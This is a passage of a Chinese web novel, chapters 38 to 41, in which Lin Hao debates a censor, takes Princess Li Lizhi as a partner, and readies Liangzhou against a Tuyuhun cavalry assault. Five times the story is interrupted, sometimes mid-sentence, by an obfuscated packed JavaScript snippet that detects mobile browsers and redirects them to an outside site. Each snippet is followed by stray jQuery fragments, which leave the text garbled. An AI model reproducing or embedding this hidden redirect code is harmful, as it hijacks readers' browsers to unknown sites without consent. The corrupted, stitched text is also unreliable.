所有百姓都死死地盯着那三条线,他们的呼吸变得粗重,眼中闪烁着光芒。
这,就是他们的生活!
刘承的脸,已经由白转青,由青转紫。他指着那些图表,声音都在发颤:“一派胡言!此乃用蝇头小利收买人心,败坏世道人心!君子喻于义,小人喻于利!你这是在将我大唐子民,都变成唯利是图的小人!”
终于,林浩收起了那副懒洋洋的姿态。
他转过身,第一次正眼看着刘承,目光灼灼,一字一句地问道:
“刘御史,我只问你一个问题。”
“让百姓吃饱穿暖,有余钱,有活干,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391604|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有盼头,这是不是最大的仁义道德?”
“还是说,一个饿着肚子、衣不蔽体的穷人,在寒风里高声念着圣人经典,就比一个能堂堂正正赚钱养活一家老小的富足工人,更高尚?”
这个问题,如同一记重锤,狠狠地砸在每一个人的心上!
台下的百姓们,被这句话彻底点燃了!
他们听不懂什么“君子喻于义”,但他们知道,林浩大人让他们吃饱了饭!他们知道,自己的日子一天比一天好!
“林大人说得对!”
“饿着肚子谈个屁的道德!”
“谁让我们过上好日子,谁就是最大的青天大老爷!”
山呼海啸般的声浪,几乎要将高台掀翻。
刘承被这股气势逼得连连后退,他彻底陷入了疯狂,又指着台下的水泥路咆哮道:“就算如此!你大兴土木,修路建厂,耗费无数钱粮,此等劳民伤财之举,又该作何解释?!”
林浩像是早料到他会这么说,从箱子里又拿出了一份文件。
“《凉州水泥路项目投资回报率分析报告》。”
他淡淡地念出这个名字,然后看向钱万三:“钱掌柜,你来说,这条路,值不值?”
钱万三立刻喊道:“值!太值了!光是节省下来的时间和货物损耗,我们商队半年就能把修路的钱全赚回来!以后,全是净赚!”
林浩将那份报告扔在刘承面前:“看清楚了,刘御史。这叫投资,不叫花钱。所有投入,都会在未来,持续不断地为凉州,为朝廷,创造出十倍、百倍的利润!”
“投资……回报率?”
这个闻所未闻的词,像一道天雷,劈在了刘承的脑子里。他彻底陷入了知识的盲区,捡起那份写满了数字和分析的报告,一个字也看不懂,张着嘴,却一个字也反驳不出来。
他输了。
在理论上,在事实上,在人心上,输得一败涂地。
“妖言惑众!”刘承终于崩溃了,他撕碎了手中的报告,状若疯魔地咆哮起来,“数据可以**!账本可以伪造!你们……你们都是被他蒙蔽了!人心向背才是根本!才是……”
他的话还没说完。
“嗖——”
一个青色的东西,带着一道弧线,从人群中飞出,精准无比。
“啪!”
一个鸡蛋,在他那张因愤怒而扭曲的脸上,轰然炸开。蛋黄和蛋清,顺着他的额头缓缓流下,狼狈不堪。
紧接着,仿佛是一个信号。
烂菜叶、果皮、甚至是脱下来的破草鞋,如同雨点一般,从四面八方朝着高台上的刘承飞去!
第38章:最强合伙人,军情急报
夜色深沉,都督府的书房却亮如白昼。
今日广场上山呼海啸般的狂热早已平息,但那股沸腾的人心,让整座凉州城都像一口烧开了的锅,依旧在暗中咕噜作响。
林浩对此充耳不闻。
新得的官袍和侯爵印信被他随手丢在角落,他依旧穿着那身洗得发白的棉布长袍,整个人几乎趴在一张巨大的桌案上。
桌案上铺着一张粗糙的羊皮纸,上面画满了各种匪夷所思的线条与齿轮。
“不对……这个传动比还是有问题,扭矩损耗太大了……”
他左手按着图纸,右手握着一根炭笔飞速地勾画、计算,嘴里念念有词,完全沉浸在自己的世界里。
什么都督,什么县侯,远不如攻克一个滚珠轴承的技术难题,更能让他感到愉悦。
“咚、咚咚!”
一阵急促又刻意压抑的敲门声响起。
“进。”林浩头也没抬,声音里带着一丝不耐烦。
一名亲卫推门而入:“都……都督,长乐公主殿下……求见。”
林浩勾画的笔尖一顿,在图纸上留下一个漆黑的墨点。
李丽质?
这个女人,不在驿馆里怀疑人生,跑来自己这儿干什么?是白天丢了面子,晚上要来连本带利地找回场子?
“让她进来。”
算了,躲不过。
他索性将炭笔往桌上一扔,靠在椅背上,摆出一副准备听训的架势。
片刻后,一阵极轻的脚步声在门口停下。
“林都督。”
林浩抬起眼皮,然后,他整个人都怔住了。
眼前的李丽质,变了。
那身象征着皇家威仪的华丽宫装不见了,取而代之的是一套再普通不过的青色布裙。
满头发饰尽去,只用一根木簪随意挽着,脸上未施半点粉黛。
那张本就没什么血色的脸,在灯火下更显苍白,但也因此,让她那双眼睛显得格外得大,也格外得……空洞。
没等林浩开口。
李丽质对着他,没有任何预兆地,深深弯下腰,行了一个标准到无可挑剔的九十度大礼。
身子弯下去,却久久没有直起。
这一下,把林浩给整不会了。
这是鸿门宴的新招数?先礼后兵?
“公主殿下,你这大礼,我这小庙可受不住。”他挑了挑眉,“有话就直说,大半夜的,我这儿还忙着呢。”
李丽质缓缓直起身,猛地抬起头:“我不是来道歉的。”
“我是来……认输的。”
“过去二十年,我在宫里读的那些圣贤书,太傅们教我的所有王道之术,在今天,在你那几本简简单单的账册面前,就是个笑话。”
“我今天才明白,什么叫国泰民安。不是朝堂上那些老大人引经据典,吵得唾沫横飞。而是田埂上,老农看着新犁笑出的满脸褶子;是工厂里,那些婆娘们领到工钱时,那双发亮的眼睛。”
“我学的那些,不过是空中楼阁。而你林浩做的,才是脚踏实地的经世济民之能。”
林浩靠在椅子上,没有说话。
那个不食人间烟火的公主**,现在站在他面前的,是一个脱胎换骨的……李丽质。
有点意思。
“所以呢?”林浩饶有兴致地换了个姿势,“公主殿下专程跑来,就是为了给我灌一碗鸡汤,顺便做个自我检讨?”
“我说了,我不是来道歉的。”
李丽质重复了一遍。
她从袖中拿出一样东西,重重地拍在林浩的桌案上,正好压在他那张画着滚珠轴承的图纸上。
“叮当!”
那是一串沉甸甸的钥匙,金的、银的、铜的,足有十几把,撞在一起,发出清脆的声响。
“这里是我从及笄开始,父皇和母后赏赐的所有私产。长安城里的三座庄子,两间铺子,还有我私库里所有的金银珠宝。”
李丽质盯着那串钥匙,像是看着什么和自己无关的东西。
“我没办法像你一样,凭空造出那些让百姓吃饱穿暖的东西。但我可以把钱,投给那个能造出这些东西的人。”
她抬起头,目光灼灼。
“林侯爷,我不是在施舍,更不是在收买。我是在用我李丽质的全部身家,为大唐的未来,下一笔赌注!”
“我赌你,也赌你的凉州,能赢!”
林浩脸上那副玩世不恭的表情,终于彻底消失了。
他猛地坐直了身体,第一次,真正严肃地打量着眼前的这个女人。
**投机?不,这是……风险投资!
这个被养在深宫里的公主,竟然无师自通地领悟了现代商业的精髓!
她不是在冲动地散尽家财,她是在用一个**家的魄力和赌徒的疯狂,在进行一场豪赌!她把自己从一个高高在上的监督者,瞬间切换成了一个眼光毒辣的投资人!
“我想把这笔钱,全都投进凉州的女子学堂和托儿所。”李丽质的声音里带上了一丝狂热,这和她最初那种悲天悯人的怜悯截然不同。
“一个国家要强盛,不能只有你图纸上那些硬邦邦的铁疙瘩。还要有能教育出明事理的孩子的母亲,要有能腾出手来进工厂干活的女人!我投资的,是凉州的人力,是大唐未来几十年,最不能垮的根基!”
林浩彻底动容了。
他原以为她是个傻白甜,后来觉得她是个可怜虫。
直到此刻,他才真正意识到,这个女人的身体里,流淌着李世民的血。那种与生俱来的格局和嗅觉,一旦被现实唤醒,就会爆发出骇人的力量。
“好。”
林浩站起身,拿起桌上那串钥匙,掂了掂,又轻轻放回了李丽质的面前。
“钱,我替凉州收下了。但这钥匙,你得自己拿着。”
李丽质一愣。
只听林浩嘴角一勾:“既
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391606|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
然是投资,那咱们就是合伙人。哪有合伙人把自家钥匙交给别人的道理?以后凉州教育这块,预算怎么花,怎么建,你说了算。”
他伸出手。
“欢迎你,凉州新来的……大股东。”
李丽质看着林浩伸出的手,身体微微一颤。她迟疑了片刻,最终也伸出手,与他轻轻一握。
一个足以改变大唐国运的战略同盟,在这间小小的书房里,正式结成。
“既然是合伙人,我就该做点事。”李丽质迅速进入了角色,眼神都变得锐利起来,“长安那些老顽固,绝不会善罢甘休。我立刻就给父皇写奏折,不用圣人经典,就用你的法子——用数据!用图表!把凉州的好处摆到他面前!为咱们的模式,争取到最大的支持!”
“晚了。”
林浩却摇了摇头,直接打断了她。
他转身走到墙边,一把掀开那幅碍眼的山水画,露出一张巨大的凉州及周边地区的**。
“长安那些苍蝇,嗡嗡叫而已,拍死不难。”
他的手指,重重地戳在了地图的最北方,那片广袤的草原上。
“真正的危机,从来不是来自朝堂的争吵,而是来自这里。”
李丽质顺着他的手指看去,那片区域上,用朱砂标注着三个触目惊心的大字——吐谷浑!
“凉州越是富庶,就越像一块滴着血的肥肉。草原上的饿狼,嗅觉灵敏得很。”林浩的声音冷了下来,“你以为我拼了命地搞科学院,不分昼夜地建工厂,是为了什么?是在跟他们抢时间!”
他走回桌案,拿起那张滚珠轴承的图纸,又从旁边一叠图纸里,抽出一张结构更加复杂百倍的草图。
“滚珠轴承,能让我们的四轮马车跑得更快,拉得更多,后勤补给线能延伸一倍!”
“而这个,”他指着那张更复杂的图纸,眼中闪着一股近乎疯狂的光,“二代蒸汽机!有了它,凉州的钢铁产量能翻十倍!我们就能造出真正坚不可摧的铠甲,造出能撕开一切的武器!”
“这,才是凉州能活下去的根本!”
李丽质看着那两张仿佛天书的图纸,又看看地图上那个充满威胁的名字,她终于明白了,林浩那份超越一切的紧迫感,到底从何而来。
就在两人深夜密谈,一个规划着**蓝图,一个描绘着工业未来之时——
“砰——!”
书房的门,被人用身体狠狠地撞开!
一名亲卫连滚带爬地闯了进来,额头上撞得鲜血直流,他根本顾不上擦,高高举起手中的一支令箭,声音嘶哑到了极限,带着泣血般的哭腔。
那令箭的末梢,还缠着一圈被血浸透的羽毛!
“都督!北境——北境八百里加急**!”
“吐谷浑……吐谷浑伏俟城王帐倾巢而出,超过五万铁骑,已越过赤水河防线……正向我凉州城,全速杀来!”
第39章:敌军七万又何妨?
“让他进来,说清楚!”
林浩的脸上,那份懒洋洋的笑意已经彻底收敛。
亲卫退下,片刻后,一个浑身浴血、铠甲残破的斥候被两名士兵架了进来。
他的一条腿不自然地扭曲着,脸上满是尘土和干涸的血污,嘴唇干裂得如同龟裂的土地。
这名斥候一被放下,就挣扎着要向林浩行礼,却被林浩抬手制止。
“说,什么情况。”
斥候剧烈地喘息了几下,用沙哑到几乎听不清的声音:“都督……吐谷浑…吐谷浑王帐所属的伏允部、天柱部、慕容部,三部联合出兵……已经……已经越过了休屠泽,正向赤水河防线高速集结!”
赤水河,那是凉州最后一道天然屏障!
“规模?”
林浩追问。
“铺天盖地……全是骑兵……旗帜漫山遍野……初步估算,不下五万!”
五万!
李丽质的脸色“唰”地一下变得惨白如纸。
五万骑兵,对于凉州这点守备兵力来说,几乎是碾压性的力量。
这已经不是袭扰,这是灭国之战!
斥候似乎想到了什么,挣扎着补充道:“都督……属下……属下在被追杀时,听到那些吐谷浑人……他们在狂呼……”
“呼喊什么?”
“他们喊……‘长乐问罪,林浩失势’!还说……还说凉州内乱,官府和百姓离心,正是天赐良机……”
“轰!”
这几句话,仿佛一道无形的九天神雷,狠狠劈在了李丽质的天灵盖上。
‘长乐问罪,林浩失势!’
原来如此……原来是这样!
她自以为是的正义,她那场轰轰烈烈的问罪,在长安那些老大人眼中是拨乱反正,可在草原饿狼的眼中,却成了大唐内部虚弱、可以趁虚而入的信号!
她以为自己在捍卫大唐的国本,结果却亲手为敌人递上了攻破国门的刀子!
这世上还有比这更愚蠢,更讽刺的事情吗?
她那场审判,最终没有审判倒林浩,却给凉州数十万百姓,招来了灭顶之灾!
一股无法言喻的冰冷,从她的脚底板直冲头顶,让她浑身都控制不住地颤抖起来。
愧疚、自责、恐惧、悔恨……
无数种情绪像是毒蛇一样,疯狂地啃噬着她的五脏六腑。
她的嘴唇哆嗦着,想说什么,却一个字也发不出来。
就在这时,一只手按住了她的肩膀。
“现在不是追究责任的时候。”林浩的声音平静得有些可怕,“他们以为我们内乱,以为我们虚弱,反而是一件好事。”
李丽质猛地抬头,不解地看着他。
都这种时候了,怎么还会是好事?
“这说明他们的情报,只停留在你审问我的那天。”
林浩的思路清晰无比,“他们不知道圣旨已经到了,更不知道现在凉州百姓拧成一股绳的劲头有多足。轻敌,是兵家第一大忌。他们犯了。”
他转头对亲卫下令:“把这位兄弟抬下去,让最好的大夫给他治伤!告诉他,仗打完了,我亲自给他记头功!”
“喏!”
就在斥候被抬下去的瞬间——
“呜——呜——呜——”
一声悠长、苍凉、充满了肃杀之意的号角声,从城北的望楼上传来,穿透了夜幕,压过了城内所有的声音,重重地砸在每个人的心上。
这是……敌袭的警报!
不等众人反应,又一名亲卫连滚带爬地冲进书房,声音都变了调:“都督!北境烽火台……狼烟!最高级别的狼烟!”
话音未落,林浩已经大步流星地冲出了书房。
李丽质和匆匆赶来的马周等人,也顾不上其他,紧紧跟了上去。
众人一口气登上高耸的北城墙,一股夹杂着草木气息的夜风扑面而来,带来了远方的杀气,冷得刺骨。
城墙之上,气氛凝重如铁。
一队队士兵正从营房中冲出,脚步声沉重而急促,在各自军官的喝骂声中奔赴自己的岗位。
火把一根根被点亮,将城墙照得如同白昼,冰冷的兵器反射着森然的寒光。
林浩一把从旁边抢过一个瞭望兵手中的单筒望远镜,举向北方。
马周也焦急地望向远方,除了黑暗,什么也看不见,他忧心忡忡地开口:“都督,斥候说有五万,可我们凉州满打满算,能战之兵不足一万五,这……这如何抵挡啊!”
“不。”
林浩放下了望远镜,语气平静。
“不是五万。”
他将望远镜递给马周。
马周疑惑地接过来,学着林浩的样子看过去。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391607|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下一秒,他的手就是一抖,险些把望远镜掉在地上。
在望远镜那放大了数倍的视野里,遥远的地平线上,已经不是一片黑暗。
那里,有一道与夜色融为一体的、正在不断翻滚的黑色“浪潮”!
那是由无数的人马汇集而成的烟尘,烟尘之下,隐约可见数不清的狼头大旗,如同地狱里伸出的爪牙,密密麻麻,无边无际。
“这……这至少有七万!他们倾巢而出了!”马周的声音都带上了颤音。
七万对一万五,而且对方全是骑兵,拥有着无与伦比的机动性。
这是一场根本没有胜算的战争!
绝望,如同瘟疫一般,开始在城墙上的官员和将领之间蔓延。
然而,林浩的脸上,却看不到一丝一毫的慌乱。
他只是静静地看着那片正在逼近的死亡浪潮,仿佛在欣赏一幅壮阔的画卷。
“马周。”他忽然开口。
“下官在!”
“你错了。战争,从来都不是简单的人数对比。”
林浩转过身,面对着一张张紧张而惶恐的脸,一字一句地说道:“战争,是经济的延伸,也是检验我们过去所有成果,最好的考场。”
这一刻,他不再是那个懒洋洋的侯爷,而是凉州真正的定海神针。
他没有丝毫的犹豫,清亮而充满力量的声音,响彻整个城头,将所有的慌乱都压了下去。
“传我将令,凉州,即刻进入一级战备状态!”
“所有工厂护卫队,携带配发的制式装备,于一小时内,到北城墙下集结,编入守城序列!”
“传令第一钢铁厂!所有生产线立刻停止民用订单,全部转为生产**和破甲箭簇!我要在一夜之间,让我们的箭矢库存翻三倍!”
“传令科学院!将库存的所有‘二踢脚’,以及所有测试阶段的‘贯星**’试验品,全部给我运上北城墙!今天,就是它们毕业考试的时候!”
一道道命令,清晰、高效、直指核心。
原本惶恐不安的将士们,在这一连串果断的命令中,迅速找到了主心骨。
对啊,我们不止有军队,我们还有工厂!
我们还有科学院!我们还有侯爷发明的那些神仙玩意儿!
一股莫名的信心,重新在众人心中燃起。
第40章:一级战备,吐谷浑来犯!
传令兵的脚步声踏破了凉州城暂时的宁静。
“都督有令!全城进入一级战备!”
这道命令像燎原的野火,从城北的刺史府瞬间席卷至城南最偏僻的陋巷。
纺织厂内,震耳欲聋的织机声戛然而止。
“停工!全部停工!”
厂长王嫂挥舞着手里的小旗子,“姐妹们,都听着!现在不织布了,咱们做绷带!”
女工们迅速放下手中的活计,从仓库里拖出成堆的雪白布料。
剪刀划过布匹的声音“咔嚓咔嚓”连成一片,白色的绷带从她们手中源源不断地产出,整齐地码放在竹筐里,堆积如山。
李丽质站在厂房门口,看着眼前的一切,心神剧震。
这不是她在长安见过的任何一次战时征召。
没有官吏挥舞着皮鞭的催促,没有百姓撕心裂肺的哭喊,甚至没有一句茫然的“为什么”。
所有人,都在自己的岗位上,有条不紊地做着自己该做的事。
仿佛每个人都是一个上紧了发条的齿轮,精准地嵌入这台巨大的战争机器中,推动着它运转。
“公主殿下?”
王嫂发现了门口的李丽质,连忙擦了擦手迎上来,“您怎么来了?这里烟尘大,您还是回府里歇着吧。”
“不!”
李丽质一把抓住王嫂的手,“我不回去!我要留在这里!”
“王嫂,你们……还缺人手吗?我……我想帮忙。”
王嫂愣住了。
不只是她,整个车间里所有听见这话的女工都愣住了,动作齐齐一顿。
一个金枝玉叶的公主,要跟她们这些“泥腿子”一起干活?
“公主殿下,这……这万万不可啊!”
王嫂小心翼翼地回道,“您的手金贵,哪儿能干这个?”
李丽质低头看了看自己那双养尊处优的手,坚定地说道:“那就让我学!”
就在这时,一个穿着工装的年轻人急匆匆跑了进来。
“王厂长!都督有令,让您立刻组织人手,准备战地救护!”
年轻人递过来一本厚厚的册子,封面上用工整的字体写着《战地外科消毒与处理手册》。
王嫂接过册子,只翻开第一页,瞬间就傻眼了。
上面画着密密麻麻的图案,有人体结构图,有各种手术器械的使用方法,还有一些她闻所未闻的古怪名词。
“细菌”、“感染”、“消毒”、“缝合”……
“这……这我哪儿看得懂啊?”王嫂苦着脸,满是无助。
李丽质一把拿过册子,目光飞快地扫过书页。
她的眼睛越来越亮,心跳也随之剧烈地搏动起来。
这书里的内容,简直是在颠覆她过去所有的认知!
什么“伤口须用烈酒清洗,以免污秽入体”;什么“骨折须用夹板固定,防止错位愈合”;什么“失血过多须抬高患者双腿,保证核心供血”……
这些在大唐医学中闻所未闻的知识,被林浩用最浅显的白话,配上清晰易懂的图解,写得明明白白!
“我来教你们!”
李丽质猛地抬起头,“我读过书,认字!我来给大家念,给大家解释!”
不等王嫂反应,她已然手脚并用地爬上了一张坚固的长桌,高高举起手册,用尽全身力气喊道:“姐妹们!都过来!我们现在就开始学!救人的本事,多学一点,就能多活一个人!”
夜校的教室里,烛火通明。
近百名女工围坐在一起,台上的李丽质声音已然沙哑。
“记住!伤口绝不能用香灰、泥土去敷!那是催命符!”
“要用酒!越烈的酒越好!把伤口周围都洗干净!”
“还有,包扎的时候,绷带不能缠得能勒**,那会断了血脉,手脚就废了!”
台下,几个从科学院赶来的学生在一旁做着补充讲解,不时在木板上画出示意图。
与此同时,钢铁厂那边已经彻底进入了疯狂状态。
“加火!给老子狠狠地加火!”
厂长老刘赤着上身,古铜色的肌肉在火光下闪着油亮的光泽,“今晚谁敢偷懒,老子亲自把他的骨头当铁给锻了!”
十几座高炉火力全开,火光将半个夜空都映成了赤红色。
钢水奔流如龙,铁花飞溅如星。
一块块烧红的钢锭被迅速锻造成最简单、也最致命的形状——**。
没有花哨的纹路,没有复杂的工艺,只有为了杀戮而生的纯粹。
三条血槽,深邃而锋利,一旦刺入人体,空气便会涌入,造成几乎无法缝合的恐怖创伤。
“这玩意儿……比咱们以前用的刀狠太多了。”
一个老铁匠举着一根还在冒着丝丝白气的**,“一捅一个血窟窿,神仙也难救。”
“废话!”
老刘啐了一口唾沫,唾沫在滚烫的地面上瞬间蒸发,“都督设计出来的东西,能不狠吗?对付草原上那帮畜生,就得用这种东西招呼!”
科学院的车间里,气氛则更加诡异。
几十个顶尖工匠围着一堆奇形怪状的零件,汗流浃背地进行着最后的组装。
滚珠轴承、精密齿轮、传动连杆、厚壁铁管……
“按都督的图纸,这个轴承装在这里,然后这根杆子**去……”
“老李,你那边的齿轮对准了没有?”
“对准了对准了,你试试能不能转动!”
随着最后一个零件“咔哒”一声安装到位,一个狰狞的大家伙终于成型。
它有轮子,有复杂的杠杆和齿轮组,还有一个巨大的、可以调整角度的铁筒子,看起来像是某种投石机的畸变体,却又比投石机精密百倍。
“这……到底是个啥玩意儿?”
工匠们面面相觑,谁也说不出个所以然。
但他们知道,都督设计的东西,必然有其惊天动地的用处。
马周在刺史府里忙得脚不沾地,面前摊着一张巨大的表格,上面用标准化的符号和数字,密密麻麻地记录着全城的人口、物资、装备情况。
“城东有壮丁三百二十一人,可征召二百八十人,已编为三营。”
“城西三号粮仓存粮八万三千石,可供五千人食用三十日。”
“工厂护卫队现员四百五十二人,全员配**、钢甲、**,战力……可用。”
每一个数字都精确到个位,每一项物资都有详细的存储位置和调用流程。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391608|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
r>这套账目体系的精细与高效,让马周这个见过大世面的人都感到由衷的震撼。
“都督之才,非人也。”
他忍不住感叹,“有此体系,调兵遣将、分配物资,便如臂使指,再无半分错漏。”
城墙之上,更令人心惊的一幕正在上演。
工厂护卫队的队员们,扛着统一制式的**,腰间挂着一个个圆滚滚、带着木柄的铁疙瘩,迈着整齐划一的步伐登上城头。
他们的装备,比所谓的府兵精良了不止一个档次。
枪刃闪着寒光,甲胄厚实坚固,连头盔都是一体冲压成型的精品。
最让守城的府兵老卒们看不懂的,是那些挂在腰间的铁疙瘩。
“兄弟,你们腰上这黑乎乎的铁蛋是啥?”一个老兵好奇地凑过来问。
护卫队员咧嘴一笑,拍了拍腰间的铁疙瘩,露出一口白牙:“**。都督说,这玩意儿往人堆里一扔,轰的一声,十几个人就没了。”
老兵倒吸一口凉气,下意识地后退了两步。
十几个人?就这么个小东西?
就在凉州城内这台战争机器高速运转,蓄势待发之际,城外,震天的马蹄声滚滚而来。
“来了!”一名将领嘶声喊道。
所有人的目光都投向了城外的黑暗。
很快,一道黑色的潮水从地平线上涌出,在月光下翻滚着,奔腾着。
那是数不清的战马汇成的铁流,马蹄翻飞,卷起漫天烟尘。黑压压的骑兵队伍,一眼望不到头,粗略估计,至少有三千骑!
这支吐谷浑的先锋部队,如同一柄黑色的利刃,直插到凉州城下。
然而,他们并没有立刻发起进攻。
他们在距离城墙弓箭射程之外的地方勒住了战马,黑压压的一片,人喊马嘶,充满了野蛮而嚣张的气焰。
城墙上的气氛,凝固到了冰点。
就在这令人窒息的对峙中,吐谷浑的骑兵阵中,忽然分出一条通路。
一名身材魁梧、头戴狼头盔的敌将,催马而出。
在他的身后,跟着一队士兵,推搡着数十名衣衫褴褛、浑身是伤的人。
“是我军的袍泽!是鹰嘴崖的兄弟!”
城墙上,一名眼尖的校尉看清了那些人的装束,发出了悲愤的怒吼。
那些被俘的唐军士兵,个个带伤,被绳索捆绑着,绝望地看着自家的城墙。
那吐谷浑将领脸上带着狰狞的笑容,他将那些俘虏推到阵前,让他们跪成一排。
然后,他举起手中那柄寒光闪闪的弯刀,用生硬又充满挑衅意味的汉话,冲着城头咆哮:
“城上的唐人听着!你们的主将就是个软蛋!识相的,立刻打开城门,跪地投降!否则,每一刻钟,我就砍掉你们一个同伴的脑袋!”
“嗡——!”
这话如同一瓢滚油,瞬间泼进了火堆里。
“**的畜生!”
“都督!跟他们拼了!末将愿为先锋,冲出去救回兄弟们!”
“不能让他们这么羞辱我们!决一死战!”
城墙上的唐军将士们双目赤红,义愤填膺。
被敌人堵在城下,用自己同袍的性命来要挟,这是何等的奇耻大辱!
第41章:唐人,从不接受威胁!
城墙之上,血腥味混着寒风,钻入每个人的鼻腔。
“将军!”
“都督!”
“跟他们拼了!”
士兵们双目赤红,指节因过度用力而发白,手中的兵器被攥得嗡嗡颤鸣。
同胞就在眼前被当成牲畜一样宰杀,这种**和愤怒,足以烧毁任何一个大唐军人的理智。
他们宁可战死,也不愿站在这城墙上,眼睁睁地看着同胞受戮。
马周脸涨得通红,冲着林浩的背影悲愤地嘶吼:“林都督!难道我们就这么看着吗?”
“难道我们就眼睁睁看着他们屠戮我大唐子民,而无动于衷?!”
林浩无视了身后所有的请战,只对身边的传令兵,用一种不带任何温度的语调下令。
“传我军令,把科学院的一号试验品,推上来。”
此言一出,请战的嘶吼戛然而止。
试验品?
众人皆是一愣,完全无法理解在这个节骨眼上,林浩的命令是什么意思。
很快,城墙后方的甬道里,传来一阵沉重得令人牙酸的车轮碾压声,伴随着钢铁齿轮“咔咔”的绞动声。
数十名身材壮硕的工厂工人,喊着号子,合力将一个狰狞的怪物推上了城头。
那东西,与其说是投石机,不如说是一头钢铁铸就的攻城巨兽。
巨大的底座上,固定着三组并排的、由钢索和巨型**臂组成的发射结构,密布的齿轮组与手摇绞盘环绕其侧,每一个零件都闪烁着冰冷的金属光泽,结构之精密,超出了当代所有工匠的想象。
城外,那名身材高大的吐谷浑将领,对自己刚才的**所造成的震撼效果十分满意。
他看到城头骚动,却无人敢出战,脸上的狞笑愈发张狂。
他再次举起那把还在滴血的弯刀,对准了第二个被推出来的大唐百姓。
“唐人都是懦夫!今天,我就让你们看看,违抗我们的下场!”
刀光再次闪烁!
就在他手臂即将挥下的那一瞬间,林浩平静的声音,清晰地响起。
“测距三百五十步,仰角十五,三连发。”
“放!”
操作着那台“一号试验品”的工匠,眼中闪烁着狂热的光芒,他猛地扳下了一个巨大的、连接着所有机括的杠杆!
没有巨响,没有怒吼。
只有一连串尖锐到极致的锐响撕裂空气,仿佛天幕都被划开了一道口子!
三根足有成年人手臂粗细、通体由精钢打造、前端带着狰狞倒刺的巨型**箭,成品字形,瞬间从发射架上消失!
它们的速度太快了,快到肉眼只能捕捉到三道模糊的黑影!
城外的吐谷浑将领,甚至没能反应过来发生了什么。他只觉得眼前一花,一股无法抗拒的巨力瞬间撞上了他的胸膛。
“噗!噗!噗!”
三声沉闷的入肉声几乎同时响起。
他连同身下那匹神骏的战马,瞬间被三根巨箭野蛮地贯穿,巨大的动能带着一人一马向后抛飞,最终被死死地钉在了十几步外的地面上!
一个触目惊心的巨大血洞,出现在他原本的位置。
周围十几个最精锐的亲卫,甚至来不及发出惊叫,就被箭矢擦身而过时带起的恐怖劲风和碎裂的甲片撕得血肉横飞。
世界,霎时静默。
前一秒还喧嚣震天的吐谷浑前锋阵营,在这一刻,陷入了死一般的寂静。
所有吐谷浑士兵都瞪大了眼睛,呆呆地看着那个被钉死在地上的主将,看着那片被鲜血和碎肉染红的空地,思维彻底停滞。
城墙之上,原本义愤填膺的唐军士兵全都石化了。
他们张着嘴,喉咙里发不出任何声音。
这……这是什么?
神罚吗?
林浩却连看都懒得看一眼自己的战果,转头对那名已经开始重新装填的操作员继续下令:
“二号目标,敌军帅旗。”
“装填‘二踢脚’。”
“单发,放!”
“二踢脚?”
操作员愣了一下,但立刻反应过来,从旁边的**箱里,抱出了一枚铁疙瘩。
他熟练地将这枚“二踢脚”装上中间的发射架,调整好角度,再次拉下了发射杠杆!
“呼——”
一声与刚才完全不同的呼啸声响起,那枚铁疙瘩的尾部猛然喷出一道橘红色的尾焰,拖着长长的烟迹,逆空而上,化作一道精准的抛物线,呼啸
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391609|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着飞向敌阵中央那面迎风招展的狼头大旗!
在无数吐谷浑士兵惊恐的注视下,那枚“二踢脚”在帅旗上空约莫三丈高的地方,轰然炸响!
“轰!!!”
